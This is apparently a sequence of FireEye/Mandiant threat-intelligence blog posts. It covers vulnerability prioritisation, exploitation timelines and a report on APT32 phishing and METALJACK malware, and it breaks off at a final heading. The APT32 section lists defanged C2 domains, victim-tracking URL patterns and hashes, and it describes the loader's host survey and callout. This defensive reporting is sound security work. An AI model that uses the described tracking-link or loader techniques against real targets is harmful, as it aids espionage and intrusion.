In this blog post, we’ll demonstrate how we apply intelligence to help organizations assess risk and make informed decisions about vulnerability management and patching in their environments.

Functions of Vulnerability Intelligence

Vulnerability intelligence helps clients to protect their organizations, assets, and users in three main ways:


Figure 1: Vulnerability intelligence can help with risk assessment and informed decision making

Tailoring Vulnerability Prioritization

We believe it is important for organizations to build a defensive strategy that prioritizes the types of threats that are most likely to impact their environment, and the threats that could cause the most damage. When organizations have a clear picture of the spectrum of threat actors, malware families, campaigns, and tactics that are most relevant to their organization, they can make more nuanced prioritization decisions when those threats are linked to exploitation of vulnerabilities. A lower risk vulnerability that is actively being exploited in the wild against your organization or similar organizations likely has a greater potential impact to you than a vulnerability with a higher rating that is not actively being exploited.


Figure 2: Patch Prioritization Philosophy

Integration of Vulnerability Intelligence in Internal Workflows

Based on our experience assisting organizations globally with enacting intelligence-led security, we outline three use cases for integrating vulnerability intelligence into internal workflows.


Figure 3: Integration of vulnerability intelligence into internal workflows

Tools and Use Cases for Operationalizing Vulnerability Intelligence

1. Automate Processes by Fusing Intelligence with Internal Data

Automation is valuable to security teams with limited resources. Similar to automated detecting and blocking of indicator data, vulnerability threat intelligence can be automated by merging data from internal vulnerability scans with threat intelligence (via systems like the Mandiant Intelligence API) and aggregated into a SIEM, Threat Intelligence Platform, and/or ticketing system. This enhances visibility into various sources of both internal and external data with vulnerability intelligence providing risk ratings and indicating which vulnerabilities are being actively exploited. FireEye also offers a custom tool called FireEye Intelligence Vulnerability Explorer (“FIVE”), described in more detail below for quickly correlating vulnerabilities found in logs and scans with Mandiant ratings.

Security teams can similarly automate communication and workflow tracking processes using threat intelligence by defining rules for auto-generating tickets based on certain combinations of Mandiant risk and exploitation ratings; for example, internal service-level-agreements (SLAs) could state that ‘high’ risk vulnerabilities that have an exploitation rating of ‘available,’ ‘confirmed,’ or ‘wide’ must be patched within a set number of days. Of course, the SLA will depend on the company’s operational needs, the capability of the team that is advising the patch process, and executive buy-in to the SLA process. Similarly, there may be an SLA defined for patching vulnerabilities that are of a certain age. Threat intelligence tells us that adversaries continue to use older vulnerabilities as long as they remain effective. For example, as recently as January 2020, we observed a Chinese cyber espionage group use an exploit for CVE-2012-0158, a Microsoft Office stack-based buffer overflow vulnerability originally released in 2012, in malicious email attachments to target organizations in Southeast Asia. Automating the vulnerability-scan-to-vulnerability-intelligence correlation process can help bring this type of issue to light. 

Another potential use case employing automation would be incorporating vulnerability intelligence as security teams are testing updates or new hardware and software prior to introduction into the production environment. This could dramatically reduce the number of vulnerabilities that need to be patched in production and help prioritize those vulnerabilities that need to be patched first based on your organization’s unique threat profile and business operations.

2. Communicating with Internal Stakeholders

Teams can leverage vulnerability reporting to send internal messaging, such as flash-style notifications, to alert other teams when Mandiant rates a vulnerability known to impact your systems high or critical. These are the vulnerabilities that should take priority in patching and should be patched outside of the regular cycle.

Data-informed intelligence analysis may help convince stakeholders outside of the security organization the importance of patching quickly, even when this is inconvenient to business operations. Threat Intelligence can inform an organization’s appropriate use of resources for security given the potential business impact of security incidents.

3. Threat Modeling

Organizations can leverage vulnerability threat intelligence to inform their threat modeling to gain insight into the most likely threats to their organization, and better prepare to address threats in the mid to long term. Knowledge of which adversaries pose the greatest threat to your organization, and then knowledge of which vulnerabilities those threat groups are exploiting in their operations, can enable your organization to build out security controls and monitoring based on those specific CVEs.

Examples

The following examples illustrate workflows supported by vulnerability threat intelligence to demonstrate how organizations can operationalize threat intelligence in their existing security teams to automate processes and increase efficiency given limited resources.

Example 1: Using FIVE for Ad-hoc Vulnerability Prioritization

The FireEye Intelligence Vulnerability Explorer (“FIVE”) tool is available for customers here. It is available for MacOS and Windows, requires a valid subscription for Mandiant Vulnerability Intelligence, and is driven from an API integration.


Figure 4: FIVE Tool for Windows and MacOS

In this scenario, an organization’s intelligence team was asked to quickly identify any vulnerability that required patching from a server vulnerability scan after that server was rebuilt from a backup image. The intelligence team was presented with a text file containing a list of CVE numbers. Users can drag-and-drop a text readable file (CSV, TEXT, JSON, etc.) into the FIVE tool and the CVE numbers will be discovered from the file using regex. As shown in Figure 6 (below), in this example, the following vulnerabilities were found in the file and presented to the user. 


Figure 5: FIVE tool startup screen waiting for file input


Figure 6: FIVE tool after successfully regexing the CVE-IDs from the file

After selecting all CVE-IDs, the user clicked the “Fetch Vulnerabilities” button, causing the application to make the necessary two-stage API call to the Intelligence API.

The output depicted in Figure 7 shows the user which vulnerabilities should be prioritized based on FireEye’s risk and exploitation ratings. The red and maroon boxes indicate vulnerabilities that require attention, while the yellow indicate vulnerabilities that should be reviewed for possible action. Details of the vulnerabilities are displayed below, with associated intelligence report links providing further context.


Figure 7: FIVE tool with meta-data, CVE-IDs, and links to related Intelligence Reports

FIVE can also facilitate other use cases for vulnerability intelligence. For example, this chart can be attached in messaging to other internal stakeholders or executives for review, as part of a status update to provide visibility on the organization’s vulnerability management program.

Example 2: Vulnerability Prioritization, Internal Communications, Threat Modeling

CVE-2019-19781 is a vulnerability affecting Citrix that Mandiant Threat Intelligence rated critical. Mandiant discussed early exploitation of this vulnerability in a January 2020 blog post. We continued to monitor for additional exploitation, and informed our clients when we observed exploitation by ransomware operators and Chinese espionage group, APT41.

In cases like these, threat intelligence can help impacted organizations find the “signal” in the “noise” and prioritize patching using knowledge of exploitation and the motives and targeting patterns of threat actors behind the exploitation. Enterprises can use intelligence to inform internal stakeholders of the potential risk and provide context as to the potential business and financial impact of a ransomware infection or an intrusion by a highly resourced state sponsored group. This support the immediate patch prioritization decision while simultaneously emphasizing the value of a holistically informed security organization.

Example 3: Intelligence Reduces Unnecessary Resource Expenditure — Automating Vulnerability Prioritization and Communications

Another common application for vulnerability intelligence is informing security teams and stakeholders when to stand down. When a vulnerability is reported in the media, organizations often spin up resources to patch as quickly as possible. Leveraging threat intelligence in security processes help an organization discern when it is necessary to respond in an all-hands-on-deck manner.

Take the case of the CVE-2019-12650, originally disclosed on Sept. 25, 2019 with an NVD rating of “High.” Without further information, an organization relying on this score to determine prioritization may include this vulnerability in the same patch cycle along with numerous other vulnerabilities rated High or Critical. As previously discussed, we have experts review the vulnerability and determine that it required the highest level of privileges available to successfully exploit, and there was no evidence of exploitation in the wild.

This is a case where threat intelligence reporting as well as automation can effectively minimize the need to unnecessarily spin up resources. Although the public NVD score rated this vulnerability high, Mandiant Intelligence rated it as “low” risk due to the high level of privileges needed to use it and lack of exploitation in the wild. Based on this assessment, organizations may decide that this vulnerability could be patched in the regular cycle and does not necessitate use of additional resources to patch out-of-band. When Mandiant ratings are automatically integrated into the patching ticket generation process, this can support efficient prioritization. Furthermore, an organization could use the analysis to issue an internal communication informing stakeholders of the reasoning behind lowering the prioritization.

Vulnerabilities: Managed

Because we have been closely monitoring vulnerability exploitation trends for years, we were able to distinguish when attacker use of zero-days evolved from use by a select class of highly skilled attackers, to becoming accessible to less skilled groups with enough money to burn. Our observations consistently underscore the speed with which attackers exploit useful vulnerabilities, and the lack of exploitation for vulnerabilities that are hard to use or do not help attackers fulfill their objectives. Our understanding of the threat landscape helps us to discern between hundreds of newly disclosed vulnerabilities to provide ratings and assessments that empower network defenders to focus on the most significant threats and effectively mitigate risk to their organizations.

Mandiant Threat Intelligence enables organizations to implement a defense-in-depth approach to holistically mitigate risk by taking all feasible steps—not just patching—to prevent, detect, and stymie attackers at every stage of the attack lifecycle with both technology and human solutions.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

Additional Resources

Zero-Day Exploitation Increasingly Demonstrates Access to Money, Rather than Skill — Intelligence for Vulnerability Management, Part One

Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two

Separating the Signal from the Noise: How Mandiant Intelligence Rates Vulnerabilities — Intelligence for Vulnerability Management, Part Three

Mandiant offers Intelligence Capability Development (ICD) services to help organizations optimize their ability to consume, analyze and apply threat intelligence.

The FIVE tool is available on the FireEye Market. It requires a valid subscription for Mandiant Vulnerability Intelligence, and is driven from an API integration. Please contact your Intelligence Enablement Manager or FireEye Support to obtain API keys. 

Mandiant's OT Asset Vulnerability Assessment Service informs customers of relevant vulnerabilities by matching a customer's asset list against vulnerabilities and advisories. Relevant vulnerabilities and advisories are delivered in a report from as little as once a year, to as often as once a week. Additional add-on services such as asset inventory development and deep dive analysis of critical assets are available. Please contact your Intelligence Enablement Manager for more information.

Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage

From at least January to April 2020, suspected Vietnamese actors APT32 carried out intrusion campaigns against Chinese targets that Mandiant Threat Intelligence believes was designed to collect intelligence on the COVID-19 crisis. Spear phishing messages were sent by the actor to China's Ministry of Emergency Management as well as the government of Wuhan province, where COVID-19 was first identified. While targeting of East Asia is consistent with the activity we’ve previously reported on APT32, this incident, and other publicly reported intrusions, are part of a global increase in cyber espionage related to the crisis, carried out by states desperately seeking solutions and nonpublic information.

Phishing Emails with Tracking Links Target Chinese Government

The first known instance of this campaign was on Jan. 6, 2020, when APT32 sent an email with an embedded tracking link (Figure 1) to China's Ministry of Emergency Management using the sender address lijianxiang1870@163[.]com and the subject 第一期办公设备招标结果报告 (translation: Report on the first quarter results of office equipment bids). The embedded link contained the victim's email address and code to report back to the actors if the email was opened.


Figure 1: Phishing email to China's Ministry of Emergency Management

Mandiant Threat Intelligence uncovered additional tracking URLs that revealed targets in China's Wuhan government and an email account also associated with the Ministry of Emergency Management.

  • libjs.inquirerjs[.]com/script/<VICTIM>@wuhan.gov.cn.png
  • libjs.inquirerjs[.]com/script/<VICTIM>@chinasafety.gov.cn.png
  • m.topiccore[.]com/script/<VICTIM>@chinasafety.gov.cn.png
  • m.topiccore[.]com/script/<VICTIM>@wuhan.gov.cn.png
  • libjs.inquirerjs[.]com/script/<VICTIM>@126.com.png

The libjs.inquirerjs[.]com domain was used in December as a command and control domain for a METALJACK phishing campaign likely targeting Southeast Asian countries.

Additional METALJACK Activity Suggests Campaigns Targeting Mandarin Speakers Interested in COVID-19

APT32 likely used COVID-19-themed malicious attachments against Chinese speaking targets. While we have not uncovered the full execution chain, we uncovered a METALJACK loader displaying a Chinese-Language titled COVID-19 decoy document while launching its payload.

When the METALJACK loader, krpt.dll (MD5: d739f10933c11bd6bd9677f91893986c) is loaded, the export "_force_link_krpt" is likely called. The loader executes one of its embedded resources, a COVID-themed RTF file, displaying the content to the victim and saving the document to %TEMP%.

The decoy document (Figure 2) titled 冠状病毒实时更新:中国正在追踪来自湖北的旅行者, MD5: c5b98b77810c5619d20b71791b820529 (Translation: COVID-19 live updates: China is currently tracking all travelers coming from Hubei Province) displays a copy of a New York Times article to the victim.


Figure 2: COVID-themed decoy document

The malware also loads shellcode in an additional resource, MD5: a4808a329b071a1a37b8d03b1305b0cb, which contains the METALJACK payload. The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com. It then attempts to call out to the URL. If the callout is successful, the malware loads the METALJACK payload into memory.

It then uses vitlescaux[.]com for command and control.

Outlook

The COVID-19 crisis poses an intense, existential concern to governments, and the current air of distrust is amplifying uncertainties, encouraging intelligence collection on a scale that rivals armed conflict. National, state or provincial, and local governments, as well as non-government organizations and international organizations, are being targeted, as seen in reports. Medical research has been targeted as well, according to public statements by a Deputy Assistant Director of the FBI. Until this crisis ends, we anticipate related cyber espionage will continue to intensify globally.

Indicators

Type

Indicators

Domains

m.topiccore[.]com

jcdn.jsoid[.]com

libjs.inquirerjs[.]com

vitlescaux[.]com

Email Address

lijianxiang1870@163[.]com

Files

MD5: d739f10933c11bd6bd9677f91893986c

METALJACK loader

MD5: a4808a329b071a1a37b8d03b1305b0cb

METALJACK Payload

MD5: c5b98b77810c5619d20b71791b820529

Decoy Document (Not Malicious)

Detecting the Techniques

Platform

Signature Name

Endpoint Security

Generic.mg.d739f10933c11bd6

Network Security

Trojan.Apost.FEC2, Trojan.Apost.FEC3, fe_ml_heuristic

Email Security

Trojan.Apost.FEC2, Trojan.Apost.FEC3, fe_ml_heuristic

Helix

 

Mandiant Security Validation Actions

  • A150-096 - Malicious File Transfer - APT32, METALJACK, Download
  • A150-119 - Protected Theater - APT32, METALJACK Execution
  • A150-104 - Phishing Email - Malicious Attachment, APT32, Contact Information Lure

MITRE ATT&CK Technique Mapping

Tactic

Techniques

Initial Access

Spearphishing Attachment (T1193), Spearphising Link (T1192)

Execution

Regsvr32 (T1117), User Execution (T1204)

Defense Evasion

Regsvr32 (T1117)

Command and Control

Standard Cryptographic Protocol (T1032), Custom Command and Control Protocol (T1094)

Separating the Signal from the Noise: How Mandiant Intelligence Rates Vulnerabilities — Intelligence for Vulnerability Management, Part Three

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.

Every information security practitioner knows that patching vulnerabilities is one of the first steps towards a healthy and well-maintained organization. But with thousands of vulnerabilities disclosed each year and media hype about the newest “branded” vulnerability on the news, it’s hard to know where to start.

The National Vulnerability Database (NVD) considers a range of factors that are fed into an automated process to arrive at a score for CVSSv3. Mandiant Threat Intelligence takes a different approach, drawing on the insight and experience of our analysts (Figure 1). This human input allows for qualitative factors to be taken into consideration, which gives additional focus to what matters to security operations.


Figure 1: How Mandiant Rates Vulnerabilities

Assisting Patch Prioritization

We believe our approach results in a score that is more useful for determining patching priorities, as it allows for the adjustment of ratings based on factors that are difficult to quantify using automated means. It also significantly reduces the number of vulnerabilities rated ‘high’ and ‘critical’ compared to CVSSv3 (Figure 2). We consider critical vulnerabilities to pose significant security risks and strongly suggest that remediation steps are taken to address them as soon as possible. We also believe that limiting ‘critical’ and ‘high’ designations helps security teams to effectively focus attention on the most dangerous vulnerabilities. For instance, from 2016-2019 Mandiant only rated two vulnerabilities as critical, while NVD assigned 3,651 vulnerabilities a ‘critical’ rating (Figure 3).


Figure 2: Criticality of US National Vulnerability Database (NVD) CVSSv3 ratings 2016-2019 compared to Mandiant vulnerability ratings for the same vulnerabilities


Figure 3: Numbers of ratings at various criticality tiers from NVD CVSSv3 scores compared to Mandiant ratings for the same vulnerabilities

Mandiant Vulnerability Ratings Defined

Our rating system includes both an exploitation rating and a risk rating:

The Exploitation Rating is an in indication of what is occurring in the wild.


Figure 4: Mandiant Exploitation Rating definitions

The Risk Rating is our expert assessment of what impact an attacker could have on a targeted organization, if they were to exploit a vulnerability.


Figure 5: Mandiant Risk Rating definitions

We intentionally use the critical rating sparingly, typically in cases where exploitation has serious impact, exploitation is trivial with often no real mitigating factors, and the attack surface is large and remotely accessible. When Mandiant uses the critical rating, it is an indication that remediation should be a top priority for an organization due to the potential impacts and ease of exploitation.

For example, Mandiant Threat Intelligence rated CVE-2019-19781 as critical due to the confluence of widespread exploitation—including by APT41—the public release of proof-of-concept (PoC) code that facilitated automated exploitation, the potentially acute outcomes of exploitation, and the ubiquity of the software in enterprise environments.

CVE-2019-19781 is a path traversal vulnerability of the Citrix Application Delivery Controller (ADC) 13.0 that when exploited, allows an attacker to remotely execute arbitrary code. Due to the nature of these systems, successful exploitation could lead to further compromises of a victim's network through lateral movement or the discovery of Active Directory (AD) and/or LDAP credentials. Though these credentials are often stored in hashes, they have been proven to be vulnerable to password cracking. Depending on the environment, the potential second order effects of exploitation of this vulnerability could be severe.

We described widespread exploitation of CVE-2019-19781 in our blog post earlier this year, including a timeline from disclosure on Dec. 17, 2019, to the patch releases, which began a little over a month later on Jan. 20, 2020. Significantly, within hours of the release of PoC code on Jan. 10, 2020, we detected reconnaissance for this vulnerability in FireEye telemetry data. Within days, we observed weaponized exploits used to gain footholds in victim environments. On the same day the first patches were released, Jan. 20, 2020, we observed APT41, one of the most prolific Chinese groups we track, kick off an expansive campaign exploiting CVE-2019-19781 and other vulnerabilities against numerous targets.

Factors Considered in Ratings

Our vulnerability analysts consider a wide variety of impact-intensifying and mitigating factors when rating a vulnerability. Factors such as actor interest, availability of exploit or PoC code, or exploitation in the wild can inform our analysis, but are not primary elements in rating.

Impact considerations help determine what impact exploitation of the vulnerability can have on a targeted system.

Impact Type

Impact Consideration

Exploitation Consequence

The result of successful exploitation, such as privilege escalation or remote code execution

Confidentiality Impact

The extent to which exploitation can compromise the confidentiality of data on the impacted system

Integrity Impact

The extent to which exploitation allows attackers to alter information in impacted systems

Availability Impact

The extent to which exploitation disrupts or restricts access to data or systems

Mitigating factors affect an attacker’s likelihood of successful exploitation.

Mitigating Factor

Mitigating Consideration

Exploitation Vector

What methods can be used to exploit the vulnerability?

Attacking Ease

How difficult is the exploit to use in practice?

Exploit Reliability

How consistently can the exploit execute and perform the intended malicious activity?

Access Vector

What type of access (i.e. local, adjacent network, or network) is required to successfully exploit the vulnerability?

Access Complexity

How difficult is it to gain access needed for the vulnerability?

Authentication Requirements

Does the exploitation require authentication and, if so, what type of authentication?

Vulnerable Product Ubiquity

How commonly is the vulnerable product used in enterprise environments?

Product's Targeting Value

How attractive is the vulnerable software product or device to threat actors to target?

Vulnerable Configurations

Does exploitation require specific configurations, either default or non-standard?

Mandiant Vulnerability Rating System Applied

The following are examples of cases in which Mandiant Threat Intelligence rated vulnerabilities differently than NVD by considering additional factors and incorporating information that either was not reported to NVD or is not easily quantified in an algorithm.

Vulnerability

Vulnerability Description

NVD Rating

Mandiant Rating

Explanation

CVE-2019-12650

A command injection vulnerability in the Web UI component of Cisco IOS XE versions 16.11.1 and earlier that, when exploited, allows a privileged attacker to remotely execute arbitrary commands with root privileges

High

Low

This vulnerability was rated high by NVD, but Mandiant Threat Intelligence rated it as low risk because it requires the highest level of privileges – level 15 admin privileges – to exploit. Because this level of access should be quite limited in enterprise environments, we believe that it is unlikely attackers would be able to leverage this vulnerability as easily as others. There is no known exploitation of this activity.

CVE-2019-5786

A use after free vulnerability within the FileReader component in Google Chrome 72.0.3626.119 and prior that, when exploited, allows an attacker to remotely execute arbitrary code. 

 

Medium

High

NVD rated CVE-2019-5786 as medium, while Mandiant Threat Intelligence rated it as high risk. The difference in ratings is likely due to NVD describing the consequences of exploitation as denial of service, while we know of exploitation in the wild which results in remote code execution in the context of the renderer, which is a more serious outcome.

As demonstrated, factors such as the assessed ease of exploitation and the observance of exploitation in the wild may result a different priority rating than the one issued by NVD. In the case of CVE-2019-12650, we ultimately rated this vulnerability lower than NVD due to the required privileges needed to execute the vulnerability as well as the lack of observed exploitation. On the other hand, we rated the CVE-2019-5786 as high risk due to the assessed severity, ubiquity of the software, and confirmed exploitation.

In early 2019, Google reported two zero-day vulnerabilities were being used together in the wild: CVE-2019-5786 (Chrome zero-day vulnerability) and CVE-2019-0808 (a Microsoft privilege escalation vulnerability). Google quickly released a patch for the Chrome vulnerability pushed it to users through Chrome’s auto-update feature on March 1. CVE-2019-5786 is significant because it can impact all major operating systems, Windows, Mac OS, and Linux, and requires only minimal user interaction, such as navigating or following a link to a website hosting exploit code, to achieve remote code execution. The severity is further compounded by a public blog post and proof of concept exploit code that was released a few weeks later and subsequently incorporated into a Metasploit module.

The Future of Vulnerability Analysis Requires Algorithms and Human Intelligence

We expect that the volume of vulnerabilities to continue to increase in coming years, emphasizing the need for a rating system that accurately identifies the most significant vulnerabilities and provides enough nuance to allow security teams to tackle patching in a focused manner. As the quantity of vulnerabilities grows, incorporating assessments of malicious actor use, that is, observed exploitation as well as the feasibility and relative ease of using a particular vulnerability, will become an even more important factor in making meaningful prioritization decisions.

Mandiant Threat Intelligence believes that the future of vulnerability analysis will involve a combination of machine (structured or algorithmic) and human analysis to assess the potential impact of a vulnerability and the true threat that it poses to organizations. Use of structured algorithmic techniques, which are common in many models, allows for consistent and transparent rating levels, while the addition of human analysis allows experts to integrate factors that are difficult to quantify, and adjust ratings based on real-world experience regarding the actual risk posed by various types of vulnerabilities.

Human curation and enhancement layered on top of automated rating will provide the best of both worlds: speed and accuracy. We strongly believe that paring down alerts and patch information to a manageable number, as well as clearly communicating risk levels with Mandiant vulnerability ratings makes our system a powerful tool to equip network defenders to quickly and confidently take action against the highest priority issues first.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations. Check out our first post on zero-day vulnerabilities.

Attackers are in a constant race to exploit newly discovered vulnerabilities before defenders have a chance to respond. FireEye Mandiant Threat Intelligence research into vulnerabilities exploited in 2018 and 2019 suggests that the majority of exploitation in the wild occurs before patch issuance or within a few days of a patch becoming available.


Figure 1: Percentage of vulnerabilities exploited at various times in relation to patch release

FireEye Mandiant Threat Intelligence analyzed 60 vulnerabilities that were either exploited or assigned a CVE number between Q1 2018 to Q3 2019. The majority of vulnerabilities were exploited as zero-days – before a patch was available. More than a quarter were exploited within one month after the patch date. Figure 2 illustrates the number of days between when a patch was made available and the first observed exploitation date for each vulnerability.

We believe these numbers to be conservative estimates, as we relied on the first reported exploitation of a vulnerability linked to a specific date. Frequently, first exploitation dates are not publicly disclosed. It is also likely that in some cases exploitation occurred without being discovered before researchers recorded exploitation attached to a certain date.


Figure 2: Time between vulnerability exploitation and patch issuance

­­­Time Between Disclosure and Patch Release

The average time between disclosure and patch availability was approximately 9 days. This average is slightly inflated by vulnerabilities such as CVE-2019-0863, a Microsoft Windows server vulnerability, which was disclosed in December 2018 and not patched until 5 months later in May 2019. The majority of these vulnerabilities, however, were patched quickly after disclosure. In 59% of cases, a patch was released on the same day the vulnerability was disclosed. These metrics, in combination with the observed swiftness of adversary exploitation activity, highlight the importance of responsible disclosure, as it may provide defenders with the slim window needed to successfully patch vulnerable systems.

Exploitation After Patch Release

While the majority of the observed vulnerabilities were zero-days, 42 percent of vulnerabilities were exploited after a patch had been released. For these non-zero-day vulnerabilities, there was a very small window (often only hours or a few days) between when the patch was released and the first observed instance of attacker exploitation. Table 1 provides some insight into the race between attackers attempting to exploit vulnerable software and organizations attempting to deploy the patch.

Time to Exploit for Vulnerabilities First Exploited after a Patch

Hours

Two vulnerabilities were successfully exploited within hours of a patch release, CVE-2018-2628 and CVE-2018-7602.

Days

12 percent of vulnerabilities were exploited within the first week following the patch release.

One Month

15 percent of vulnerabilities were exploited after one week but within one month of patch release.

Years

In multiple cases, such as the first observed exploitation of CVE-2010-1871 and CVE-2012-0874 in 2019, attackers exploited vulnerabilities for which a patch had been made available many years prior.

Table 1: Exploitation timing for patched vulnerabilities ranges from within hours of patch issuance to years after initial disclosure

Case Studies

We continue to observe espionage and financially motivated groups quickly leveraging publicly disclosed vulnerabilities in their operations. The following examples demonstrate the speed with which sophisticated groups are able to incorporate vulnerabilities into their toolsets following public disclosure and the fact that multiple disparate groups have repeatedly leveraged the same vulnerabilities in independent campaigns. Successful operations by these types of groups are likely to have a high potential impact.


Figure 3: Timeline of activity for CVE-2018-15982

CVE-2018-15982: A use after free vulnerability in a file package in Adobe Flash Player 31.0.0.153 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. This vulnerability was exploited by espionage groups—Russia's APT28 and North Korea's APT37—as well as TEMP.MetaStrike and other financially motivated attackers.


Figure 4: Timeline of activity for CVE-2018-20250

CVE-2018-20250: A path traversal vulnerability exists within the ACE format in the archiver tool WinRAR versions 5.61 and earlier that, when exploited, allows an attacker to locally execute arbitrary code. This vulnerability was exploited by multiple espionage groups, including Chinese, North Korean, and Russian, groups, as well as Iranian groups APT33 and TEMP.Zagros.


Figure 5: Timeline of Activity for CVE-2018-4878

CVE-2018-4878: A use after free vulnerability exists within the DRMManager’s “initialize” call in Adobe Flash Player 28.0.0.137 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. Mandiant Intelligence confirmed that North Korea’s APT37 exploited this vulnerability as a zero-day as early as September 3, 2017. Within 8 days of disclosure, we observed Russia’s APT28 also leverage this vulnerability, with financially motivated attackers and North Korea’s TEMP.Hermit also using within approximately a month of disclosure.

Availability of PoC or Exploit Code

The availability of POC or exploit code on its own does not always increase the probability or speed of exploitation. However, we believe that POC code likely hastens exploitation attempts for vulnerabilities that do not require user interaction. For vulnerabilities that have already been exploited, the subsequent introduction of publicly available exploit or POC code indicates malicious actor interest and makes exploitation accessible to a wider range of attackers. There were a number of cases in which certain vulnerabilities were exploited on a large scale within 48 hours of PoC or exploit code availability (Table 2).

Time Between PoC or Exploit Code Publication and First Observed Potential Exploitation Events

Product

CVE

FireEye Risk Rating

1 day

WinRAR

CVE-2018-20250

Medium

1 day

Drupal

CVE-2018-7600

High

1 day

Cisco Adaptive Security Appliance

CVE-2018-0296

Medium

2 days

Apache Struts

CVE-2018-11776

High

2 days

Cisco Adaptive Security Appliance

CVE-2018-0101

High

2 days

Oracle WebLogic Server

CVE-2018-2893

High

2 days

Microsoft Windows Server

CVE-2018-8440

Medium

2 days

Drupal

CVE-2019-6340

Medium

2 days

Atlassian Confluence

CVE-2019-3396

High

Table 2: Vulnerabilities exploited within two days of either PoC or exploit code being made publicly available, Q1 2018–Q3 2019

Trends by Targeted Products

FireEye judges that malicious actors are likely to most frequently leverage vulnerabilities based on a variety of factors that influence the utility of different vulnerabilities to their specific operations. For instance, we believe that attackers are most likely to target the most widely used products (see Figure 6). Attackers almost certainly also consider the cost and availability of an exploit for a specific vulnerability, the perceived success rate based on the delivery method, security measures introduced by vendors, and user awareness around certain products.

The majority of observed vulnerabilities were for Microsoft products, likely due to the ubiquity of Microsoft offerings. In particular, vulnerabilities in software such as Microsoft Office Suite may be appealing to malicious actors based on the utility of email attached documents as initial infection vectors in phishing campaigns.


Figure 6: Exploited vulnerabilities by vendor, Q1 2018–Q3 2019

Outlook and Implications

The speed with which attackers exploit patched vulnerabilities emphasizes the importance of patching as quickly as possible. With the sheer quantity of vulnerabilities disclosed each year, however, it can be difficult for organizations with limited resources and business constraints to implement an effective strategy for prioritizing the most dangerous vulnerabilities. In upcoming blog posts, FireEye Mandiant Threat Intelligence describes our approach to vulnerability risk rating as well as strategies for making informed and realistic patch management decisions in more detail.

We recommend using this exploitation trend information to better prioritize patching schedules in combination with other factors, such as known active threats to an organization's industry and geopolitical context, the availability of exploit and PoC code, commonly impacted vendors, and how widely software is deployed in an organization's environment may help to mitigate the risk of a large portion of malicious activity.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

Limited Shifts in the Cyber Threat Landscape Driven by COVID-19

Though COVID-19 has had enormous effects on our society and economy, its effects on the cyber threat landscape remain limited. For the most part, the same actors we have always tracked are behaving in the same manner they did prior to the crisis. There are some new challenges, but they are perceptible, and we—and our customers—are prepared to continue this fight through this period of unprecedented change.

The significant shifts in the threat landscape we are currently tracking include:

  • The sudden major increase in a remote workforce has changed the nature and vulnerability of enterprise networks.
  • Threat actors are now leveraging COVID-19 and related topics in social engineering ploys.
  • We anticipate increased collection by cyber espionage actors seeking to gather intelligence on the crisis.
  • Healthcare operations, related manufacturing, logistics, and administration organizations, as well as government offices involved in responding to the crisis are increasingly critical and vulnerable to disruptive attacks such as ransomware.
  • Information operations actors have seized on the crisis to promote narratives primarily to domestic or near-abroad audiences.

Same Actors, New Content

The same threat actors and malware families that we observed prior to the crisis are largely pursuing the same objectives as before the crisis, using many of the same tools. They are simply now leveraging the crisis as a means of social engineering. This pattern of behavior is familiar. Threat actors have always capitalized on major events and crises to entice users. Many of the actors who are now using this approach have been tracked for years.

Ultimately, COVID-19 is being adopted broadly in social engineering approaches because it is has widespread, generic appeal, and there is a genuine thirst for information on the subject that encourages users to take actions when they might otherwise have been circumspect. We have seen it used by several cyber criminal and cyber espionage actors, and in underground communities some actors have created tools to enable effective social engineering exploiting the coronavirus pandemic. Nonetheless, COVID-19 content is still only used in two percent of malicious emails.

 

For the time being, we do not believe this social engineering will be abetting. In fact, it is likely to take many forms as changes in policy, economics, and other unforeseen consequences manifest. Recently we predicted a spike in stimulus related social engineering, for example. Additionally, the FBI has recently released a press release anticipating a rise in COVID-19 related Business Email Compromise (BEC) scams.

State Actors Likely Very Busy

Given that COVID-19 is the undoubtedly the overwhelming concern of governments worldwide for the time being, we anticipated targeting of government, healthcare, biotech, and other sectors by cyber espionage actors. We have not yet observed an incident of cyber espionage targeting COVID-19 related information; however, it is often difficult to determine what information these actors are targeting. There has been at least one case reported publicly which we have not independently confirmed.

We have seen state actors, such as those from Russia, China and North Korea, leverage COVID-19 related social engineering, but given wide interest in that subject, that does not necessarily indicate targeting of COVID-19 related information.

Threat to Healthcare

Though we have no reason to believe there is a sudden, elevated threat to healthcare, the criticality of these systems has probably never been greater, and thus the risk to this sector will be elevated throughout this crisis. The threat of disruption is especially disconcerting as it could affect the ability of these organizations to provide safe and timely care. This threat extends beyond hospitals to pharmaceutical companies, as well as manufacturing, administration and logistics organizations providing vital support. Additionally, many critical public health resources lie at the state and local level.

Though there is some anecdotal evidence suggesting some ransomware actors are avoiding healthcare targets, we do not expect that all actors will practice this restraint. Additionally, an attack on state and local governments, which have been a major target of ransomware actors, could have a disruptive effect on treatment and prevention efforts.

Remote Work

